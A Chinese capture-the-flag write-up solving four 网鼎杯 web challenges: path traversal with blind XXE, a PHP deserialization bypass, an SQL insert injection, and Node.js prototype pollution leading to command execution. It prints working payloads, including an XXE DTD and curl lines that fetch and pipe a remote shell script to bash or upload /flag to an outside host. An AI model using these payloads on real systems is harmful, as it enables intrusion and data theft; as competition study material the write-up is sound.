网鼎杯WEB题解
0x 01 前言
老高太强了 ,我躺躺了
0x 02 filejava
考点
任意文件读取、CVE-2014-3529
解题过程
- 在文件下载功能进行目录穿越读取相关文件
1 | /DownloadServlet?filename=../../../../WEB-INF/web.xml |
反编译class文件进行代码审计,在upload里发现关键代码
参考这篇文章:https://xz.aliyun.com/t/6996?tdsourcetag=s_pctim_aiomsg
构造盲XXE的xlsx文件进行文件读取
新建新建execl-1.xlsx文件,修改后缀名execl-1.xlsx.zip解压,然后在[Content_Types].xml添加payload
1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
重新打包成excel-1.xlsx
,注意文件名一定不能错,我就这样被坑掉了。
在服务器上新建一个evil.etd
文件,内容如下:
1 | <!ENTITY % all "<!ENTITY send SYSTEM 'http://xxxxx:9999/%file;'>"> |
nc监听,上传文件触发payload,收到flag
0x 02 AreUSerialz
考点
php反序列化bypass
解题过程
序列化的字符串需要绕过is_valid()
函数,因为protected
类型的属性的序列化字符串包含不可见字符\00
,会被is_valid()
函数给ban掉,预期解法应该是是利用S来代替s,在这种情况下\00
就会被解析成%00
(1个字符),而如果是小写s,\00
就是一个斜线+2个零(3个字符),在MRCTF中考到了这个考点。
另外反序列化的时候首先进入的是析构函数,会判断op属性的值如果不是“2”,如果是的话修改成“1”
但是在process()
方法内有进行了判断if ($this->op == "2")
,两处存在差异可以使用弱类型比较绕过。文件读取需要使用相对路径一直打不通,需要使用绝对路径,首先读取/proc/self/cmdline
或者/etc/apache2/httpd.conf得到web根目录为/web/html,然后读取flag文件,最终exp为:
1 | <?php |
payload修改为:
1 | O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";N;} |
非预期解法是利用php版本特性:php7.1+版本对属性类型不敏感,所以修改属性类型为public即可
补充:
相对路径的锅,之前D3CTF也有遇到,一直不知道原因,看了颖奇师傅的博客才懂了:如果反序列化字符串没有异常就往前穿越到了根目录
,下面是照搬的笔记
为啥会穿越目录?这是析构方法的锅,请看官方Note:
https://www.php.net/manual/zh/language.oop5.decon.php
析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。
这种问题在开发中也出现,请参考这篇文章给出的解决办法:
1、在__destruct 中使用绝对路径操作文件
2、__destruct 之前比如构造函数内,先获取 getcwd() 工作目录,然后在 __destruct 中使用 chdir($StrPath) 重新设定工作目录。
使用相对路径的时候:
1 | $res = file_get_contents($this->filename); |
会失败并且返回false,所以直接读取是不可以的;但是只要修改一下序列化字符串,比如删掉个符号,改错长度等等,这个file_get_contents()
便不再返回false(绝对路径也不返回false),也就能成功进行读取了
膜颖奇师傅,tql
0x 03 trace
考点
insert注入
解题过程
存在insert注入,利用逻辑运算符和溢出报错来进行注入,这里用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。当我们比较结果为假时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们比较结果为真时,执行sleep函数最终payload如下:
1 | #!/usr/bin/env python2 |
0x 04 notes
考点
原型链污染
解题过程
审计代码发现
1 | edit_note(id, author, raw) { |
而undefsafe函数存在原型链污染,参考https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
在edit_note调用该函数:
1 | app.route('/edit_note') |
在status路由存在命令执行
1 | app.route('/status') |
通过原型链污染给commands增加父类属性从而命令执行。payload如下:
1 | id=__proto__.a&author=curl http://xxxx/shell.txt|bash&raw=hello world |
然后访问status触发原型链污染
颖奇师傅的教的payload。如果不能反弹shell的话外带flag
1 | id=__proto__.bb&author=curl -F 'flag=@/flag' 174.1.58.51:9999&raw=a |